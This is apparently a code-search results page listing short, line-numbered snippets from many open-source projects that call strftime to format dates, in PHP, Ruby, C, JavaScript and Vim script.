138 <td rowspan="2" class="x-pixmap"> 139 <a class="x-pixmap" href="<?php echo $show->url ?>" title="<?php echo t('Direct Download') ?>" 140 ><img src="<?php echo $show->thumb_url(100,0) ?>"></a> 167 } 168 ?><a href="<?php echo root_url ?>tv/recorded?delete=yes&chanid=<?php echo $show->chanid ?>&starttime=<?php echo $show->recstartts ?>" 169 title="<?php echo html_entities(t('Delete $1', preg_replace('/: $/', '', $show->title.': '.$show->subtitle))) ?>" 170 ><?php echo t('Delete') ?></a> 171 <a href="<?php echo root_url ?>tv/recorded?delete=yes&chanid=<?php echo $show->chanid ?>&starttime=<?php echo $show->recstartts ?>&forget_old=yes" 172 title="<?php echo html_entities(t('Delete and rerecord $1', preg_replace('/: $/', '', $show->title.': '.$show->subtitle))) ?>" 200 <li><a href="<?php echo video_url($show, true) ?>"> 201 <img src="<?php echo skin_url ?>/img/play_sm.png"><?php echo t('ASX Stream') ?></a></li> 202 <li><a href="<?php echo $show->url ?>"> 202 <li><a href="<?php echo $show->url ?>"> 203 <img src="<?php echo skin_url ?>/img/video_sm.png"><?php echo t('Direct Download') ?></a></li> 204 </ul>sum_enhance_log.php https://gitlab.com/xusasuke6/Slg_php | PHP | 297 lines
1<?php 2 3define('IN_DATANG_SYSTEM', true); 4include "../../../config/config.php"; 5include SYSDIR_ADMIN."/include/global.php"; 35{ 36 $date_start_temp = strftime ("%Y-%m-%d", time()-(60*60*24)*3 ); 37 $dateStart = str_replace('-','',$date_start_temp); 49{ 50 $date_end_temp= strftime ("%Y-%m-%d",time()-(60*60*24)); 51 $dateEnd = str_replace('-','',$date_end_temp);class-wc-admin-webhooks.php https://gitlab.com/campus-academy/krowkaramel | PHP | 349 lines
1<?php 2/** 70 // @codingStandardsIgnoreStart 71 strftime( _x( '%b %d, %Y @ %I:%M %p', 'Webhook created on date parsed by strftime', 'woocommerce' ) ) 72 // @codingStandardsIgnoreEnd 130 // Redirect to webhook edit page to avoid settings save actions. 131 wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced§ion=webhooks&edit-webhook=' . $webhook->get_id() . '&error=' . rawurlencode( implode( '|', $errors ) ) ) ); 132 exit(); 138 // Redirect to webhook edit page to avoid settings save actions. 139 wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced§ion=webhooks&edit-webhook=' . $webhook->get_id() . '&error=' . rawurlencode( $result->get_error_message() ) ) ); 140 exit(); 144 // Redirect to webhook edit page to avoid settings save actions. 145 wp_safe_redirect( admin_url( 'admin.php?page=wc-settings&tab=advanced§ion=webhooks&edit-webhook=' . $webhook->get_id() . '&updated=1' ) ); 146 exit(); 291 <h2 class="woocommerce-BlankState-message"><?php esc_html_e( 'Webhooks are event notifications sent to URLs of your choice. They can be used to integrate with third-party services which support them.', 'woocommerce' ); ?></h2> 292 <a class="woocommerce-BlankState-cta button-primary button" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=advanced§ion=webhooks&edit-webhook=0' ) ); ?>"><?php esc_html_e( 'Create a new webhook', 'woocommerce' ); ?></a> 293 <style type="text/css">#posts-filter .wp-list-table, #posts-filter .tablenav.top, .tablenav.bottom .actions { display: none; }</style>function.html_select_date.php https://github.com/raphaelbastide/berta.git | PHP | 333 lines
30* 31* @link http://smarty.php.net/manual/en/language.function.html.select.date.php {html_select_date} 32 (Smarty online manual) 43 require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); 44 require_once(SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php'); 45 require_once(SMARTY_PLUGINS_DIR . 'function.html_options.php'); 51 $prefix = "Date_"; 52 $start_year = strftime("%Y"); 53 $end_year = $start_year; 152 // strftime to make yyyy-mm-dd 153 $time = strftime('%Y-%m-%d', smarty_make_timestamp($time)); 154 } 159 if ($match[1] == '+') { 160 $end_year = strftime('%Y') + $match[2]; 161 } else {sqlite.php https://github.com/nysenate/Bluebird-CRM.git | PHP | 224 lines
1<?php 2/** 13 * 14 * This implementation uses PHP native Sqlite functions. 15 * 24 * @author Bertrand Mansion <bmansion@mamasam.com> 25 * @author Jon Parise <jon@php.net> 26 * @since Log 1.8.3 28 * 29 * @example sqlite.php Using the Sqlite handler. 30 */ 182 $this->_table, 183 strftime('%Y-%m-%d %H:%M:%S', time()), 184 sqlite_escape_string($this->_ident),show.html.erb https://github.com/haifeng/Meetr.git | Ruby HTML | 92 lines
20 <span id="happening_at" class="v"> 21 <%=@meetup.human_date%> at <%=@meetup.happening_at.strftime("%H:%M")%> 22 (<%=t('time.in')%> <%=distance_of_time_in_words(Time.now, @meetup.happening_at)%>) 26 <br/> 27 <iframe src="http://www.facebook.com/plugins/like.php?href=<%=url_for(:only_path => false, :overwrite_params=> { })%>&send=true&layout=standard&width=450&show_faces=true&action=like&colorscheme=light&font=trebuchet+ms&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe> 28 <h2><%=t("meetup.presentations")%></h2>globalpay_remote.php https://gitlab.com/shapcy/opencart | PHP | 260 lines
1<?php 2class ModelPaymentGlobalpayRemote extends Model { 39 if (!empty($globalpay_order)) { 40 $timestamp = strftime("%Y%m%d%H%M%S"); 41 $merchant_id = $this->config->get('globalpay_remote_merchant_id'); 86 if (!empty($globalpay_order) && $globalpay_order['capture_status'] == 0) { 87 $timestamp = strftime("%Y%m%d%H%M%S"); 88 $merchant_id = $this->config->get('globalpay_remote_merchant_id'); 154 if (!empty($globalpay_order) && $globalpay_order['rebate_status'] != 1) { 155 $timestamp = strftime("%Y%m%d%H%M%S"); 156 $merchant_id = $this->config->get('globalpay_remote_merchant_id');detail.php https://github.com/jjohns63/mythweb.git | PHP | 121 lines
21?> 22<a href="<?php echo root_url ?>tv/channel/<?php echo $this_channel->chanid ?>" > 23<?php echo $_SESSION["prefer_channum"] ? $this_channel->channum : $this_channel->callsign ?> 33<?php echo date('D m/d/y', $program->starttime) ?><br /> 34<?php echo strftime($_SESSION['time_format'], $program->starttime) ?> to <?php echo strftime($_SESSION['time_format'], $program->endtime) ?> (<?php echo (int)($program->length/60) ?> minutes)<BR> 35 <?php 55 if (strlen($program->rating)) { ?> 56 <?php echo strlen($program->rater) > 0 ? "$program->rater " : '' ?>Rating: <?php echo $program->rating ?><br /> 57 <?php 89 <a>Find one episode every week</a><br /> 90 <input type="radio" class="radio" name="record" value="<?php echo rectype_channel ?>" id="record_channel"<?php echo $schedule->type == rectype_channel ? ' CHECKED' : '' ?>></input> 91 <a>Always record on this channel</a><br /> 91 <a>Always record on this channel</a><br /> 92 <input type="radio" class="radio" name="record" value="<?php echo rectype_always ?>" id="record_always"<?php echo $schedule->type == rectype_always ? ' CHECKED' : '' ?>></input> 93 <a>Always record on any channel</a><br />Observer.php https://bitbucket.org/dnejedly/eaparts.git | PHP | 266 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 111 ->setStatus(Mage_Cron_Model_Schedule::STATUS_RUNNING) 112 ->setExecutedAt(strftime('%Y-%m-%d %H:%M:%S', time())) 113 ->save(); 118 ->setStatus(Mage_Cron_Model_Schedule::STATUS_SUCCESS) 119 ->setFinishedAt(strftime('%Y-%m-%d %H:%M:%S', time())); 120 217 for ($time = $now; $time < $timeAhead; $time += 60) { 218 $ts = strftime('%Y-%m-%d %H:%M:00', $time); 219 if (!empty($exists[$jobCode.'/'.$ts])) {calendar_day_exporter.php https://github.com/mackensen/moodle.git | PHP | 282 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 143 $cache = $this->related['cache']; 144 $url = new moodle_url('/calendar/view.php', [ 145 'view' => 'day', 199 $return['date'] = (new date_exporter($date))->export($output); 200 $return['periodname'] = userdate($this->calendar->time, get_string('strftimedaydate')); 201 $return['previousperiod'] = (new date_exporter($previousperiod))->export($output);graph.php https://github.com/kpike/moodle.git | PHP | 183 lines
1<?php 2 25 26require_once('../../../config.php'); 27require_once($CFG->dirroot.'/lib/statslib.php'); 27require_once($CFG->dirroot.'/lib/statslib.php'); 28require_once($CFG->dirroot.'/lib/graphlib.php'); 29 36 37$url = new moodle_url('/course/report/stats/graph.php', array('course'=>$courseid, 'report'=>$report, 'time'=>$time, 'mode'=>$mode)); 38if ($userid !== 0) { 97 foreach ($stats as $stat) { 98 $graph->x_data[] = userdate($stat->timeend,get_string('strftimedate'),$CFG->timezone); 99 $graph->y_data['line1'][] = $stat->line1; 143 if (!array_key_exists($stat->timeend,$times)) { 144 $times[$stat->timeend] = userdate($stat->timeend,get_string('strftimedate'),$CFG->timezone); 145 }overview_table.php https://github.com/kpike/moodle.git | PHP | 349 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 52 if ($this->rawdata) { 53 $this->strtimeformat = str_replace(',', '', get_string('strftimedatetime')); 54 parent::build_table(); 221 } 222 return html_writer::link(new moodle_url('/mod/quiz/review.php', 223 array('attempt' => $attempt->attempt)), $grade, 229 * @param object $attempt the row of data - see the SQL in display() in 230 * mod/quiz/report/overview/report.php to see what fields are present, 231 * and what they are called.metnet.c https://github.com/Zozz/zozzfox.git | C | 172 lines
26static char msg[1023] = 27 "POST /code/api/obs_auto.php HTTP/1.1\r\n" 28 "Host: metnet.hu\r\n" 131 tmp = localtime(&t); 132 strftime(dt, sizeof(dt), "%F %T", tmp); 133 memcpy(dtpos, dt, 19); // replace date/time partThreadReply.php https://github.com/b03tz/Quip.git | PHP | 341 lines
1<?php 2/** 86 'name' => $threadName, 87 'createdon' => strftime('%Y-%m-%d %H:%M:%S',time()), 88 'moderated' => $this->getProperty('moderate',0,'isset'),Summary.php https://github.com/sgtcarneiro/horde.git | PHP | 276 lines
1<?php 2/** 129 $viewurl = Horde_Util::addParameter( 130 'view.php', 131 array('task' => $task->id, 199 $taskurl = Horde_Util::addParameter( 200 'task.php', 201 array('task' => $task->id, 236 $viewurl = Horde_Util::addParameter( 237 'view.php', 238 array('task' => $task->id, 251 $html .= ' (' 252 . strftime($prefs->getValue('date_format'), $task->due) 253 . ')';el.settings.html https://github.com/julienV/testrepo.git | HTML | 231 lines
45<p>Nutzen Sie die PHP-"strftime"-Syntax, um das Datumsformat Ihren Vorstellungen anzupassen. Beispiel: '%d.%m.%Y' erzeugt '25.05.2006'. Mehr Formatierungsmöglichkeiten erläutert das 46<a href="http://www.php.net/strftime" target="_blank">PHP-strftime-Manual</a>. Zu beachten ist, dass nicht alle möglichen Parameter auf jedem Server verfügbar und diese auch abhängig vom Betriebssystem des Servers sind (*nix/Windows).</p> 47 49<p>Nutzen Sie die PHP-"strftime"-Syntax, um das Zeitformat Ihren Vorstellungen anzupassen. Beispiel: '%H:%M' erzeugt '16:00'. Mehr Formatierungsmöglichkeiten erläutert das <a href= 50"http://www.php.net/strftime" target="_blank">PHP-strftimeManual</a>.</p> 51qqgame_survey.php https://github.com/karlom/gameadmin.git | PHP | 279 lines
1<?php 2 8 */ 9include_once "../../../protected/config/config.php"; 10include_once SYSDIR_ADMIN_INCLUDE.'/global.php'; 26if (! isset($_REQUEST['dateEnd'])) { 27 $dateEnd = strftime("%Y-%m-%d", time()); 28} elseif ($_REQUEST['dateEnd'] == 'ALL') { 28} elseif ($_REQUEST['dateEnd'] == 'ALL') { 29 $dateEnd = strftime("%Y-%m-%d", time()); 30} else { 30} else { 31 $dateEnd = strtotime($_REQUEST['dateEnd']) > time() ? strftime("%Y-%m-%d", time()) : $_REQUEST['dateEnd']; 32} 46 47$dateStartStr = strftime("%Y-%m-%d", $dateStartStamp); 48$dateEndStr = strftime("%Y-%m-%d", $dateEndStamp);fattura_allegata.php http://gevion.googlecode.com/svn/trunk/ | PHP | 226 lines
1<?php 2/* $Id: fattura_allegata.php,v 1.4 2010/01/01 14:15:18 devincen Exp $ 25 26require("../../library/include/calsca.inc.php"); 27require('template.php'); 37 $this->anno = substr($this->tesdoc['datfat'],0,4); 38 $this->data = strftime("%d-%m-%Y", mktime (0,0,0,substr($this->tesdoc['datemi'],5,2),substr($this->tesdoc['datemi'],8,2),substr($this->tesdoc['datemi'],0,4))); 39 $this->sconto = $this->tesdoc['sconto'];FileAuditorForm.inc.php https://github.com/mbehiels/omp.git | PHP | 225 lines
1<?php 2 3/** 4 * @file controllers/grid/files/copyedit/form/CopyeditingUserForm.inc.php 5 * 147 $weekLaterDate = time() + 604800; 148 $weekLaterDate = strftime($dateFormatShort, $weekLaterDate); 149settings_lang.php https://gitlab.com/Riky_Lesmana/SugarSweetCakes | PHP | 174 lines
1<?php defined('BASEPATH') OR exit('No direct script access allowed'); 2/** 38 'Käyttämällä PHP:n <a href="http://php.net/manual/en/function.date.php" target="_black">date muotoa</a> - TAI - ' . 39 'Käyttämällä PHP:n <a href="http://php.net/manual/en/function.strftime.php" target="_black">strftime muotoa</a>.'; 40 173 174/* End of file settings_lang.php */TstampTask.php https://github.com/vinnivinsachi/Vincent-DR.git | PHP | 168 lines
1<?php 2/* 2/* 3 * $Id: TstampTask.php 82 2006-07-07 18:15:35Z mrook $ 4 * 21 22require_once 'phing/Task.php'; 23 78 79 $dstamp = strftime('%Y%m%d'); 80 $this->prefixProperty('DSTAMP', $dstamp); 81 82 $tstamp = strftime('%H%M'); 83 $this->prefixProperty('TSTAMP', $tstamp); 116 * The date/time pattern to be used. The values are as 117 * defined by the PHP strftime() function. 118 *function.html_select_date.php https://github.com/kiang/olc_baker.git | PHP | 328 lines
30 * 31 * @link http://smarty.php.net/manual/en/language.function.html.select.date.php {html_select_date} 32 * (Smarty online manual) 42 require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); 43 require_once(SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php'); 44 require_once(SMARTY_PLUGINS_DIR . 'function.html_options.php'); 47 $prefix = "Date_"; 48 $start_year = strftime("%Y"); 49 $end_year = $start_year; 148 // strftime to make yyyy-mm-dd 149 $time = strftime('%Y-%m-%d', smarty_make_timestamp($time)); 150 } 155 if ($match[1] == '+') { 156 $end_year = strftime('%Y') + $match[2]; 157 } else {Datetime.php https://bitbucket.org/dnejedly/eaparts.git | PHP | 205 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 177 } 178 $displayFormat = Varien_Date::convertZendToStrFtime($outputFormat, true, false); 179 $displayTimeFormat = Varien_Date::convertZendToStrFtime($outputTimeFormat, false, true);DateTest.php https://github.com/Weasle/Formagic.git | PHP | 118 lines
1<?php 2/** 9 * It is also available through the world-wide-web at 10 * http://www.formagic-php.net/license-agreement/ 11 * If you did not receive a copy of the license and are unable to 12 * obtain it through the world-wide-web, please send an email 13 * to license@formagic-php.net so we can send you a copy immediately. 14 * 16 * @copyright 2007-2014 Florian Sonnenburg 17 * @license http://www.formagic-php.net/license-agreement/ New BSD License 18 */ 25 **/ 26class Test_Formagic_Filter_Date extends PHPUnit_Framework_TestCase 27{ 55 $value = time(); 56 $expected = strftime('%x %X', $value); 57php.js https://gitlab.com/leoplanxxi/dr7-web-buap-2016 | JavaScript | 384 lines
1define("ace/snippets/php",["require","exports","module"], function(require, exports, module) { 2"use strict"; 4exports.snippetText = "snippet <?\n\ 5 <?php\n\ 6\n\ 10snippet <?e\n\ 11 <?php echo ${1} ?>\n\ 12# this one is for php5.4\n\ 195 * @version ${3:$Id$}\n\ 196 * @copyright ${4:$2}, `strftime('%d %B, %Y')`\n\ 197 * @package ${5:default}\n\ 247snippet ifil\n\ 248 <?php if (${1:/* condition */}): ?>\n\ 249 ${2:<!-- code... -->}\n\ 249 ${2:<!-- code... -->}\n\ 250 <?php endif; ?>\n\ 251snippet ife\n\profile.php https://gitlab.com/0072016/wordpress | PHP | 225 lines
1<?php 2/** 42 if ( ! class_exists( 'Facebook_Settings' ) ) 43 require_once( dirname(__FILE__) . '/settings.php' ); 44 69 if ( ! class_exists( 'Facebook_User' ) ) 70 require_once( dirname( dirname(__FILE__) ) . '/facebook-user.php' ); 71 98 if ( ! class_exists( 'Facebook_User' ) ) 99 require_once( dirname( dirname(__FILE__) ) . '/facebook-user.php' ); 100 $facebook_user_data = Facebook_User::get_user_meta( $wp_user->ID, 'fb_data', true ); 117 if ( ! class_exists( 'Facebook_WP_Extend' ) ) 118 require_once( $facebook_loader->plugin_directory . 'includes/facebook-php-sdk/class-facebook-wp.php' ); 119 $permissions = Facebook_WP_Extend::get_permissions_by_facebook_user_id( $facebook_user_data['fb_uid'] ); 174 if ( ! class_exists( 'Facebook_WP_Extend' ) ) 175 require_once( dirname( dirname(__FILE__) ) . '/includes/facebook-php-sdk/class-facebook-wp.php' ); 176authorinfo.vim https://github.com/Alan0521/vimfiles.git | Vim Script | 177 lines
37 \['python',['^#!.*$','^#.*coding:.*$']], 38 \['php',['^<?.*']] 39 \] 130 normal o 131 call setline('.',noTypeChar.preChar.' LastChange: '.strftime("%Y-%m-%d %H:%M:%S")) 132 normal o 163 if line =~ '^.*LastChange:\S*.*$' 164 let newline=substitute(line,':\(\s*\)\(\S.*$\)$',':\1'.strftime("%Y-%m-%d %H:%M:%S"),'g') 165 call setline(n,newline)function.html_select_time.php https://github.com/raphaelbastide/berta.git | PHP | 197 lines
1<?php 2/** 15* 16* @link http://smarty.php.net/manual/en/language.function.html.select.time.php {html_select_time} 17 (Smarty online manual) 27{ 28 require_once(SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php'); 29 require_once(SMARTY_PLUGINS_DIR . 'function.html_options.php'); 42 $second_interval = 1; 43 /* Should the select boxes be part of an array when returned from PHP? 44 e.g. setting it to "birthday", would create "birthday[Hour]", 108 'values' => $hours, 109 'selected' => strftime($hour_fmt, $time), 110 'print_result' => false), 118 $minutes[] = sprintf('%02d', $all_minutes[$i]); 119 $selected = intval(floor(strftime('%M', $time) / $minute_interval) * $minute_interval); 120 $html_result .= '<select name=';sys_vars.inc.php https://github.com/shafiqissani/ASTRA-College-Website.git | PHP | 264 lines
1<?php 2/* 3 +--------------------------------------------------------------------------+ 4 | phpMyBackupPro | 5 +--------------------------------------------------------------------------+ 6 | Copyright (c) 2004-2007 by Dirk Randhahn | 7 | http://www.phpMyBackupPro.net | 8 | version information can be found in definitions.php. | 44 if (!isset($PMBP_SYS_VAR['security_key']) && $CONF['sql_passwd'] && $CONF['sql_user']) { 45 $PMBP_SYS_VAR['security_key']=md5($_SERVER['PHP_SELF'].$CONF['sql_passwd'].$CONF['sql_user']); 46 $update=TRUE; 79if (isset($_GET['login']) || isset($_POST['login'])) { 80 $login_str=strftime($CONF['date'],time())." (IP: ".$_SERVER['REMOTE_ADDR'].")"; 81 if ($login_str!=$PMBP_SYS_VAR['this_login']) 88 89// functions.inc.php 90if (!isset($PMBP_SYS_VAR['F_dbs'])) {dokuwiki.php https://github.com/ruflin/DokuWiki-Joomla-Bridge.git | PHP | 161 lines
1<?php 2/** 5 * All the default values are kept here, you should not modify it but use 6 * a local.php file instead to override the settings from here. 7 * 7 * 8 * This is a piece of PHP code so PHP syntax applies! 9 * 28$conf['template'] = 'default'; //see lib/tpl directory 29$conf['license'] = 'cc-by-nc-sa'; //see conf/license.php 30$conf['fullpath'] = 0; //show full path of the document or relative to datadir only? 0|1 35$conf['htmlok'] = 0; //may raw HTML be embedded? This may break layout and XHTML validity 0|1 36$conf['phpok'] = 0; //may PHP code be embedded? Never do this on the internet! 0|1 37$conf['dformat'] = '%Y/%m/%d %H:%M'; //dateformat accepted by PHPs strftime() function 97$conf['locktime'] = 15*60; //maximum age for lockfiles (defaults to 15 minutes) 98$conf['fetchsize'] = 0; //maximum size (bytes) fetch.php may download from extern, disabled by default 99$conf['notify'] = ''; //send change info to this email (leave blank for nobody)index.php https://bitbucket.org/speedealing/speedealing.git | PHP | 239 lines
1<?php 2/* Copyright (C) 2001-2003 Rodolphe Quiedeville <rodolphe@quiedeville.org> 21/** 22 * \file htdocs/compta/tva/index.php 23 * \ingroup tax 25 */ 26require '../../main.inc.php'; 27require_once DOL_DOCUMENT_ROOT.'/core/lib/tax.lib.php'; 27require_once DOL_DOCUMENT_ROOT.'/core/lib/tax.lib.php'; 28require_once DOL_DOCUMENT_ROOT.'/compta/tva/class/tva.class.php'; 29require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; 35{ 36 $year_current = strftime("%Y",time()); 37 $year_start = $year_current; 104 105$textprevyear="<a href=\"index.php?year=" . ($year_current-1) . "\">".img_previous()."</a>"; 106$textnextyear=" <a href=\"index.php?year=" . ($year_current+1) . "\">".img_next()."</a>";PHP5ExtensionNodeBuilder.php https://github.com/ArnaudD/global-menu.git | PHP | 111 lines
1<?php 2 10 11require_once 'builder/om/ObjectBuilder.php'; 12 13/** 14 * Generates the empty PHP5 stub node object class for user object model (OM). 15 * 24 */ 25class PHP5ExtensionNodeBuilder extends ObjectBuilder 26{ 33 { 34 return $this->getTable()->getPhpName() . 'Node'; 35 } 48 /** 49 * Adds class phpdoc comment and openning of class. 50 * @param string &$script The script will be modified in this method.ja.php https://gitlab.com/techniconline/kmc | PHP | 133 lines
1<?php 2 8 * @author yama yamamoto@kyms.jp 9 * @license http://www.opensource.org/licenses/gpl-2.0.php GPLv2 10 * @license http://www.opensource.org/licenses/lgpl-2.1.php LGPLv2 17 18 // Date time formats. See http://www.php.net/manual/en/function.strftime.php 19 '_dateTimeFull' => "%Y/%m/%d %H:%M",application_helper.rb https://github.com/hosh/ansuz.git | Ruby | 96 lines
18 def avatar_for(user, size=32) 19 image_tag "http://www.gravatar.com/avatar.php?gravatar_id=#{MD5.md5(user.email)}&rating=PG&size=#{size}", :size => "#{size}x#{size}", :class => 'photo' 20 end 63 # check: http://beast.caboo.se/forums/1/topics/657 64 # strftime on windows doesn't seem to support %e and you'll need to 65 # use the less cool %d in the strftime line below 77 when 2160..2880 then "{days} days ago"[:days_ago, (distance_in_minutes.to_f / 1440.0).round] # 1.5 days to 2 days 78 else from_time.strftime("%b %e, %Y %l:%M%p"[:datetime_format]).gsub(/([AP]M)/) { |x| x.downcase } 79 endde_timeconverter.php https://gitlab.com/Drakons/Illarion-Website | PHP | 351 lines
118 <td style="width:150px;">Link zu dieser Seite:</td> 119 <td><input type="text" name="pagelink" readonly="readonly" onclick="this.select();" style="width:100%;" value="<?php echo Page::getURL(); ?>/community/un_timeconverter.php?timekey=<?php echo dechex( $server_timestamp ); ?>" /></td> 120 </tr> 122 <td style="width:150px;">BBCode:</td> 123 <td><input type="text" name="pagelink" readonly="readonly" onclick="this.select();" style="width:100%;" value="[url=<?php echo Page::getURL(); ?>/community/un_timeconverter.php?timekey=<?php echo dechex( $server_timestamp ); ?>]<?php echo IllaDateTime::IllaTimestampToTime('d. F Y H:i', $illa_timestamp); ?>[/url]" /></td> 124 </tr> 179 for ( $i=1;$i<=12;$i++ ): ?> 180 <option value="<?php echo $i; ?>"<?php echo ( (int)$rl_month == $i ? ' selected="selected"' : '' ); ?>><?php echo nl_langinfo( constant( 'MON_'.$i ) ) ?></option> 181 <?php endfor; ?> 253 for ( $i=1;$i<=12;$i++ ): ?> 254 <option value="<?php echo $i; ?>"<?php echo ( (int)$rl_month == $i ? ' selected="selected"' : '' ); ?>><?php echo nl_langinfo( constant( 'MON_'.$i ) ) ?></option> 255 <?php endfor; ?> 324 <?php for ( $i=1;$i<=16;$i++ ): ?> 325 <option value="<?php echo $i; ?>"<?php echo ( (int)$illa_time['month'] == $i ? ' selected="selected"' : '' ); ?>><?php echo IllaDateTime::getMonthName( $i ); ?></option> 326 <?php endfor; ?>class-wc-api-webhooks.php https://gitlab.com/webkod3r/tripolis | PHP | 462 lines
1<?php 2/** 196 'post_password' => strlen( ( $password = uniqid( 'webhook_' ) ) ) > 20 ? substr( $password, 0, 20 ) : $password, 197 'post_title' => ! empty( $data['name'] ) ? $data['name'] : sprintf( __( 'Webhook created on %s', 'woocommerce' ), strftime( _x( '%b %d, %Y @ %I:%M %p', 'Webhook created on date parsed by strftime', 'woocommerce' ) ) ), 198 ), $data, $this );settings_lang.php https://github.com/kadoshmt/Pyro-Deals.git | PHP | 142 lines
1<?php defined('BASEPATH') OR exit('No direct script access allowed'); 2 36 'Utilser le<a href="http://php.net/manual/en/function.date.php" target="_black">format de date</a> de PHP - OU - ' . 37 'Utiliser le format de <a href="http://php.net/manual/en/function.strftime.php" target="_black">chaine formaté en tant que date</a> de PHP.'; 38 140 141/* End of file settings_lang.php */ 142/* Location: ./system/cms/modules/settings/language/french/settings_lang.php */pp_pro.php http://coderstalk.googlecode.com/svn/trunk/ | PHP | 199 lines
1<?php 2class ControllerPaymentPPPro extends Controller { 57 $this->data['months'][] = array( 58 'text' => strftime('%B', mktime(0, 0, 0, $i, 1, 2000)), 59 'value' => sprintf('%02d', $i) 68 $this->data['year_valid'][] = array( 69 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 70 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)) 77 $this->data['year_expire'][] = array( 78 'text' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i)), 79 'value' => strftime('%Y', mktime(0, 0, 0, 1, 1, $i))ResolverPlugin.inc.php https://github.com/mcrider/pkpUpgradeTestSuite.git | PHP | 190 lines
1<?php 2 3/** 4 * @file ResolverPlugin.inc.php 5 * 13 * 14 * $Id: ResolverPlugin.inc.php,v 1.10 2007/09/21 16:38:35 asmecher Exp $ 15 */ 151 echo $this->sanitize($journal->getSetting('onlineIssn')) . "\t"; 152 echo $this->sanitize($startDate===null?'':strftime('%Y-%m-%d', $startDate)) . "\t"; // start_date 153 echo $this->sanitize($endDate===null?'':strftime('%Y-%m-%d', $endDate)) . "\t"; // end_datesettings_lang.php https://github.com/JamieLomas/pyrocms.git | PHP | 145 lines
1<?php defined('BASEPATH') OR exit('No direct script access allowed'); 2 33 'باستخدام <a href="http://php.net/manual/en/function.date.php" target="_black">نسق تواريخ</a> PHP - أو - ' . 34 'باستخدام نسق <a href="http://php.net/manual/en/function.strftime.php" target="_black">النصوص المُنسّقة كتواريخ</a> باستخدام PHP.'; 35 144 145/* End of file settings_lang.php */ 146resource.class.php https://github.com/nadavkav/Moodle-RTL--Shenkar-Translation-Team-.git | PHP | 196 lines
1<?php // $Id: resource.class.php,v 1.38.2.3 2008/05/02 08:17:27 scyrma Exp $ 2 37 38 require_once($CFG->libdir.'/filelib.php'); 39 46 47 add_to_log($course->id, "resource", "view", "view.php?id={$cm->id}", $resource->id, $cm->id); 48 71 72 $this->navlinks[] = array('name' => $sub, 'link' => "view.php?id={$cm->id}", 'type' => 'title'); 73 } else { 83 $options = array('id'=>$course->id, 'wdir'=>'/'.$resource->reference.$subdir); 84 $editfiles = print_single_button("$CFG->wwwroot/files/index.php", $options, get_string("editfiles"), 'get', '', true); 85 $update = $editfiles.$update; 108 109 $strftime = get_string('strftimedatetime'); 110 $strname = get_string("name");strptime.js https://gitlab.com/Mirros/jsdelivr | JavaScript | 355 lines
11 12 // tm_isdst is in other docs; why not PHP? 13 65 66/* Fix: Locale alternatives are supported though not documented in PHP; see http://linux.die.net/man/3/strptime 67Ec 89 // BEGIN REDUNDANT 90 this.php_js = this.php_js || {}; 91 this.setlocale('LC_ALL', 0); // ensure setup of localization variables takes place 93 94 var phpjs = this.php_js; 95 var locale = phpjs.localeCategories.LC_TIME; 95 var locale = phpjs.localeCategories.LC_TIME; 96 var locales = phpjs.locales; 97 var lc_time = locales[locale].LC_TIME;edit_entry.php https://github.com/jessfishenden/mrbs-mcr.git | PHP | 320 lines
1<?php 2# $Id$ 57 $description = $row[2]; 58 $start_day = strftime('%d', $row[3]); 59 $start_month = strftime('%m', $row[3]); 59 $start_month = strftime('%m', $row[3]); 60 $start_year = strftime('%Y', $row[3]); 61 $start_hour = strftime('%H', $row[3]); 61 $start_hour = strftime('%H', $row[3]); 62 $start_min = strftime('%M', $row[3]); 63 $duration = $row[4]; 84 { 85 $start_day = (int)strftime('%d', $row[1]); 86 $start_month = (int)strftime('%m', $row[1]); 86 $start_month = (int)strftime('%m', $row[1]); 87 $start_year = (int)strftime('%Y', $row[1]); 88field.class.php https://github.com/cmiic/moodle.git | PHP | 171 lines
1<?php 2/////////////////////////////////////////////////////////////////////////// 160 if ($content = $DB->get_field('data_content', 'content', array('fieldid'=>$this->field->id, 'recordid'=>$recordid))) { 161 return userdate($content, get_string('strftimedate'), 0); 162 }ipayment.php https://github.com/severnaya99/Sg-2010.git | PHP | 244 lines
1<?php 2/* 2/* 3 $Id: ipayment.php 1 2005-10-24 10:38:39Z Michael $ 4 31 32 $this->form_action_url = 'https://ipayment.de/merchant/' . MODULE_PAYMENT_IPAYMENT_ID . '/processor.php'; 33 } 78 for ($i=1; $i < 13; $i++) { 79 $expires_month[] = array('id' => sprintf('%02d', $i), 'text' => strftime('%B',mktime(0,0,0,$i,1,2000))); 80 } 83 for ($i=$today['year']; $i < $today['year']+10; $i++) { 84 $expires_year[] = array('id' => strftime('%y',mktime(0,0,0,1,1,$i)), 'text' => strftime('%Y',mktime(0,0,0,1,1,$i))); 85 } 103 104 include(DIR_WS_CLASSES . 'cc_validation.php'); 105function.html_select_date.php https://github.com/openstate/HNS.dev.git | PHP | 374 lines
